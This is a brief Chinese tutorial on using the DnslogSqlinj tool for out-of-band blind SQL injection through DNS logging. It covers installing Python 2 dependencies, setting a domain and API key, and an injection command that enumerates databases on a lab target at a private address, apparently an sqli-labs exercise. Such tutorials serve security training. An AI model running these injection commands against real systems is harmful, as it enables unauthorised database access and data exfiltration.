利用DnslogSqlinj工具DNSlog注入
工具下载链接
https://github.com/adooo/dnslogsqlinj
配置
将域名和API进行一个更改
之后再安装两个python2的库就可以使用dnslog进行自动化注入了
python2安装pip2
curl https://bootstrap.pypa.io/2.7/get-pip.py -o get-pip.py
python2 get-pip.py
库
pip2 install gevent==1.2.2
pip2 install termcolor注入命令
python2 dnslogSql.py -u "http://192.168.0.112/sql/less-9/index.php?id' ({注入点})" --+ --dbs
注入命令会放在大括号里面
